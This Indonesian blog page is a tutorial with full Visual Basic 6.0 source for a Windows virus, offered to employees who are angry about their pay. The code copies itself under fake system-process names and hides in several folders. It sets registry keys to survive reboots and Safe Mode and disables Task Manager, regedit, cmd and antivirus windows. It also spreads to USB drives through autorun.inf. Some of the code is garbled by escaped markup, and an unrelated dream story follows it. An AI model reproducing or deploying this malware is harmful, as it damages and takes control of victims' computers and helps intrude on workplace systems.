Anang Utama

Membuat Virus Sederhana (Visual basic 6.0)

Langkah awal membuat virus sederhana ini Cuma bermodalkan Ms Excel dan Visual basic aja
Program ini saya dapat dari seorang temen, dan sekarang saya ingin share ke temen-temen yang bekerja sebagai staf atau yang sedang sakit hati karena gaji sampai sekarang belum juga naik. Mungkin program ini cocok untuk membuat melek pimpinan perusahaan yang bertindak semena-mena terhadap karyawan.
Program virus sederhana dengan Visual Basic 6.0 ini cuma mengganggu Microsoft Office Word dan Excel.Misalkan user membuka Word pada kertas tempat mengetik sudah muncul pesan dari virus dan membuka Excel pun sudah muncul pesan dari virus, tapi tenang ajah kugh bos..virus ini baik hati .tidak akan merusak file anda maupun menghapus file anda..ini virus pelampiasan aja ...
Yang di butuhkan dalam membuat program ini adalah : 5 buah timer , 1 buah drivelistbox , .Pada proyek ini kita dapat belajar mengenai WINDOWS API SENDMESAGE , REGISTRI, Dan OTOMATISASI pada word dan excel.
Masukan source code ini pada " FORM "

Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long 'pencari Kleas dan Window Name Suatu File Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long 'sendmessage Private Declare Function GetDriveType& Lib "Kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) ' penghandel flashdisk Private Declare Function ExitWindowsEx Lib "user32" (ByVal dwOptions As Long, ByVal dwReserved As Long) As Long 'exit windows Private Const WM_CLOSE = &H10 Private Const EWX_LOGOFF = 0 Private Const EWX_SHUTDOWN = 1 Private Const EWX_REBOOT = 2 Private Const EWX_FORCE = 4 Private Const EWX_POWEROFF = 8 Option Explicit Dim FWnd Dim obj As Object Dim doc As Object Dim WrkBook As Object Dim WrkSheet As Object Dim i As Integer Dim RegRun Dim FolderStartUp Dim FolderMyDocuments Dim FolderTemplates Dim FolderNetHood Dim FolderPrintHood Dim FolderFavorites Dim FolderSendTo Dim FolderPrograms Dim FlashDisk Private Sub Form_Load() On Error Resume Next 'acak caption virus shg caption akan berubah setiap windows startup atau virus tereksekusi Randomize Me.Caption = Int(Rnd * 153214312443563624744875931105111121232#) 'silahkan masukan angka sesuka anda 'menggandakan diri GandakefolderIstimewa Me.Visible = False App.TaskVisible = False 'virus tidak terlihat di task manager InfeksiRegistry End Sub Sub BuatWord() On Error Resume Next Set obj = CreateObject("word.application") Set doc = CreateObject("word.application") Set doc = obj.Documents.Add doc.Content = "TOLONG NAIKAN GAJIKU SEKARANG JUGA SETAN" End Sub Sub BuatXls() On Error Resume Next Set obj = CreateObject("excel.application") Set WrkBook = obj.workbooks.Add Set WrkSheet = WrkBook.worksheets.Add WrkSheet.Cells(15, 4) = " TOLONG NAIKAN GAJIKU SEKARANG JUGA SETAN " End Sub Sub InfeksiRegistry() On Error Resume Next RegRun.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell", "Explorer.exe" & " """ & FolderMyDocuments & "\services.exe""" 'virus akan tetap berjalan pada tipe windows Safe Mode RegRun.regwrite "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\AlternateShell", FolderFavorites & "\SalamKenal.exe" 'virus akan tetap berjalan pada tipe windows Safe Mode With Command Prompt RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFolderOptions", 1, "REG_DWORD" 'Folder Options tdk dapat diakses RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFolderOptions", 1, "REG_DWORD" 'Folder Options tdk dapat diakses RegRun.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden", 0, "REG_DWORD" 'Sembunyikan file beratribut superhidden/File-file system RegRun.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden", 0, "REG_DWORD" 'Sembunyikan file beratribut superhidden/File-file system RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\System\DisableCMD", 1, "REG_DWORD" 'Disable CMD dan File .Bat RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\System\DisableCMD", 1, "REG_DWORD" 'Disable CMD dan File .Bat RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\DisableRegistryTools", 1, "REG_DWORD" 'registry tdk dapat diakses dan tdk dapat melakukan pengimporan file berekstensi Reg RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\DisableRegistryTools", 1, "REG_DWORD" 'registry tdk dapat diakses dan tdk dapat melakukan pengimporan file berekstensi Reg RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Winlogon", FolderTemplates & "\smss.exe" 'smss.exe berjalan pada saat startup RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Winlogon", FolderSendTo & "\System.exe" 'System.exe berjalan pada saat startup RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFind", 1, "REG_DWORD" 'search pd star menu hilang RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFind", 1, "REG_DWORD" 'Ssearch pd star menu hilang RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoSMHelp", 1, "REG_DWORD" 'help suport pd star menu hilang RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoSMHelp", 1, "REG_DWORD" 'help suport pd star menu hilang RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoClose", 1, "REG_DWORD" 'Tombol Turn Off pd star menu hilang RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoClose", 1, "REG_DWORD" 'Tombol Turn Off pd star menu hilang RegRun.regwrite "HKEY_CURRENT_USER\Control Panel\Colors\WindowText", "255 0 0", "REG_SZ" 'DEFAULT TEKS MENJADI MERAH RegRun.regwrite "HKEY_CLASSES_ROOT\Drive\shell\Scan With Antivirus\Command\", FolderFavorites & "\SalamKenal.exe" 'Membuat Menu Scan With Antivirus pada klik kanan Drive-drive, tapi bukan Antivirus yang dijalankan melainkan Virus SalamKenal.exe yang terletak di Folder Favorite RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoDrives", 4, "REG_DWORD" 'Drive C hilang RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoDrives", 4, "REG_DWORD" 'Drive C hilang RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\InternetExplorer\policies\Explorer\NoFileMenu", 1, "REG_DWORD" 'Menu File pada Windows Ekplorer hilang RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\InternetExplorer\policies\Explorer\NoFileMenu", 1, "REG_DWORD" 'Menu File pada Windows Ekplorer hilang RegRun.regwrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Cdrom\Autorun", 1, "REG_DWORD" 'Autorun pada CD atau USB End Sub Sub GandaKeFlashDisk() On Error Resume Next If Dir(FlashDisk & "\Winlogon.exe") <> "Winlogon.exe" Then 'mengecek ada atau tdknya winlogon.exe di flashdisk jika tdk ada kemudian FileCopy FolderStartUp & "\Winlogon.exe", FlashDisk & "\Winlogon.exe" SetAttr FlashDisk & "\Winlogon.exe", vbHidden + vbSystem + vbReadOnly End If BuatFileAutorunInf End Sub Sub BuatFileAutorunInf() 'membuat file Autorun.inf ke flashdisk yang berfungsi agar setiap flashdisk jika di klik dua kali/klik kanan trus klik open maka Virus (winlogon.exe) akan tereksekusi On Error Resume Next Open FlashDisk & "\Autorun.Inf" For Output As 1 Print #1, "[AutoRun]" Print #1, "Icon=Winlogon.exe" 'Agar FlashDisk Memiliki Icon Sama dengan Virus Print #1, "Open=Winlogon.exe" Print #1, "ShellExecute=Winlogon.exe" Print #1, "Shell\Open\Command=Winlogon.exe" Print #1, "Shell=Open" Close #1 SetAttr FlashDisk & "\Autorun.Inf", vbHidden + vbSystem + vbReadOnly End Sub Sub GandakefolderIstimewa() On Error Resume Next Set RegRun = CreateObject("WScript.Shell") FolderStartUp = RegRun.specialfolders("StartUp") FolderMyDocuments = RegRun.specialfolders("MyDocuments") FolderTemplates = RegRun.specialfolders("Templates") FolderNetHood = RegRun.specialfolders("NetHood") FolderPrintHood = RegRun.specialfolders("PrintHood") FolderFavorites = RegRun.specialfolders("Favorites") FolderSendTo = RegRun.specialfolders("SendTo") FolderPrograms = RegRun.specialfolders("Programs") On Error Resume Next 'membuat virus dengan nama winlogon.exe FileCopy App.Path & "\" & App.EXEName & ".exe", FolderStartUp & "\WinLogon.Exe" SetAttr FolderStartUp & "\Winlogon.exe", vbHidden + vbSystem + vbReadOnly 'membuat virus dengan nama services.exe FileCopy App.Path & "\" & App.EXEName & ".exe", FolderMyDocuments & "\services.Exe" SetAttr FolderMyDocuments & "\services.exe", vbHidden + vbSystem + vbReadOnly 'membuat virus dengan nama smss.exe FileCopy App.Path & "\" & App.EXEName & ".exe", FolderTemplates & "\smss.Exe" SetAttr FolderTemplates & "\smss.Exe", vbHidden + vbSystem + vbReadOnly 'membuat virus dengan nama csrss.exe FileCopy App.Path & "\" & App.EXEName & ".exe", FolderPrintHood & "\csrss.Exe" SetAttr FolderPrintHood & "\csrss.exe", vbHidden + vbSystem + vbReadOnly 'membuat virus dengan nama Isass.exe FileCopy App.Path & "\" & App.EXEName & ".exe", FolderNetHood & "\Isass.Exe" SetAttr FolderNetHood & "\Isass.exe", vbHidden + vbSystem + vbReadOnly 'membuat virus dengan nama SalamKenal.exe FileCopy App.Path & "\" & App.EXEName & ".exe", FolderFavorites & "\SalamKenal.Exe" SetAttr FolderFavorites & "\SalamKenal.exe", vbHidden + vbSystem + vbReadOnly 'membuat virus dengan nama System.exe FileCopy App.Path & "\" & App.EXEName & ".exe", FolderSendTo & "\System.Exe" SetAttr FolderSendTo & "\System.exe", vbHidden + vbSystem + vbReadOnly 'membuat virus dengan nama ctfmon.exe FileCopy App.Path & "\" & App.EXEName & ".exe", FolderPrograms & "\ctfmon.Exe" SetAttr FolderPrograms & "\ctfmon.exe", vbHidden + vbSystem + vbReadOnly End Sub Private Sub Timer1_Timer() 'Timer 1 diberi interval 5 detik On Error Resume Next FWnd = FindWindow("OpusApp", "Document1 - Microsoft Word") 'Ms Word If FWnd <> 0 Then SendMessage FWnd, WM_CLOSE, True, True BuatWord obj.Visible = True Timer2.Enabled = True Timer1.Enabled = False End If On Error Resume Next FWnd = FindWindow("OpusApp", "New Microsoft Word Document.doc - Microsoft Word") 'Ms Word If FWnd <> 0 Then SendMessage FWnd, WM_CLOSE, True, True BuatWord obj.Visible = True Timer2.Enabled = True Timer1.Enabled = False End If End Sub Private Sub Timer2_Timer() On Error Resume Next FWnd = FindWindow("XLMAIN", "Microsoft Excel - Book1") 'ms excel If FWnd <> 0 Then SendMessage FWnd, WM_CLOSE, True, True BuatXls obj.Visible = True Timer1.Enabled = True Timer2.Enabled = False End If On Error Resume Next FWnd = FindWindow("XLMAIN", "Microsoft Excel - New Microsoft Excel Worksheet.xls") 'ms excel If FWnd <> 0 Then SendMessage FWnd, WM_CLOSE, True, True BuatXls obj.Visible = True Timer1.Enabled = True Timer2.Enabled = False End If End Sub Private Sub Timer3_Timer() On Error Resume Next 'menutup aplikasi yang berbahaya bagi virus FWnd = FindWindow("#32770", "RUN") 'jendela run SendMessage FWnd, WM_CLOSE, 0&, 0& FWnd = FindWindow("#32770", "System Configuration Utility") 'msconfig SendMessage FWnd, WM_CLOSE, 0&, 0& FWnd = FindWindow("#32770", "Windows Task Manager") 'task manager SendMessage FWnd, WM_CLOSE, 0&, 0& FWnd = FindWindow("#32770", "Avira AntiVir Personal – Free Antivirus") 'Avira Antivir SendMessage FWnd, WM_CLOSE, 0&, 0& FWnd = FindWindow("#32770", "AntiVir Guard: Attention, Detection!") 'Avira Antivir SendMessage FWnd, WM_CLOSE, 0&, 0& FWnd = FindWindow("RegEdit_RegEdit", vbNullString) 'regedit.exe SendMessage FWnd, WM_CLOSE, 0&, 0& FWnd = FindWindow("TMainForm", vbNullString) 'aplikasi buatan Delphi (Antivirus PCMAV yang versi lama dapat ditutup tetapi versi yang baru tidak bisa dihentikan) <:d data-blogger-escaped--="" data-blogger-escaped-0="" data-blogger-escaped-1="" data-blogger-escaped-2="" data-blogger-escaped-and="" data-blogger-escaped-aplikasi="" data-blogger-escaped-buatan="" data-blogger-escaped-cari="" data-blogger-escaped-delphi="" data-blogger-escaped-drive1.listcount="" data-blogger-escaped-end="" data-blogger-escaped-error="" data-blogger-escaped-flashdisk="" data-blogger-escaped-for="" data-blogger-escaped-fwnd="" data-blogger-escaped-getdrivetype="" data-blogger-escaped-i="" data-blogger-escaped-if="" data-blogger-escaped-left="" data-blogger-escaped-next="" data-blogger-escaped-on="" data-blogger-escaped-pplication="" data-blogger-escaped-private="" data-blogger-escaped-resume="" data-blogger-escaped-rive1.list="" data-blogger-escaped-sendmessage="" data-blogger-escaped-sub="" data-blogger-escaped-timer4_timer="" data-blogger-escaped-to="" data-blogger-escaped-vbnullstring="" data-blogger-escaped-wm_close=""> "a" Then FlashDisk = (Drive1.List(i)) Timer4.Enabled = False 'agar lampu flashdisk tdk berkedip-kedip terlalu lama, sehingga tdk mencurigakan si empunya flashdisk Exit For End If Next GandaKeFlashDisk ' End Sub Private Sub Timer5_Timer() On Error Resume Next InfeksiRegistry 'Mungkin salah satu virus dihapus shg perlu selalu menggandakan diri GandakefolderIstimewa 'menyalakan timer 4 If GetDriveType(Drive1.List(i)) = 2 And Left(Drive1.List(i), 1) <> "a" Then Timer4.Enabled = True End If End Sub Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer) Cancel = 1 End Sub Private Sub Form_Unload(Cancel As Integer) Cancel = 1 End Sub

Sebenarnya mimpi ini sudah lama terjadi, tepatnya kira-kira seminggu setelah meninggalnya Pak Taufik. Awalnya mimpiku ini aku anggap hal yang biasa, tetapi kok lama – lama aku pikir ada hal yang aneh pada mimpiku ini. Aku berpikir mimpiku ini sama persis waktu ada temen sopir yang meninggal karena bunuh diri. Dalam mimpiku aku ketemu temen sopir itu dan mengatakan bla..bla..bla, besoknya betul betul terjadi seperti apa yang di katakan temenku itu. Jujur demi Allah aku tidak berbohong.

Kali ini mimpiku ketemu Pak Taufik, entah dari mana awalnya aku ketemu Pak Taufik di Singapura (namanya juga mimpi), inilah hasil rekam blackbox pada mimpiku :

Taufik : kecepatan rata – rata pesawat domestik 550 KM/Jam.

Aku : ( Aku hanya diam aja, karena aku gak yakin Pak Taufik bicara padaku)

Taufik : Mas Anang....( dengan suara lembut)

Aku : Iya pak.. maaf pak ada apa ?

Taufik : ini no PIN ku ganti ya, 526K999

Aku : Maaf pak saya gak punya BB

Taufik : Iya gak papa, aku ada urusan yang lebih penting nich, salam untung ( Sambil buru-buru meninggalkan sendiri)

Begitulah hasil rekam black box mimpiku, yang aneh menurutku adalah PINnya itu ternyata NIP dari I Nengah Kardi Susanto. Jujur semasa hidup pak Taufik, aku gak pernah sama sekali di tanya atau berbicara sama pak Taufik. Maaf aku gak berani berspekulasi tentang mimpiku ini, karena aku gak berkompeten. Silahkan di analisa sendiri..

Salam Hormat..

NB : Sejujurnya saya lebih suka Pak Darma daripada Pak Kardi hehehe....

Kembali ke Menu Utama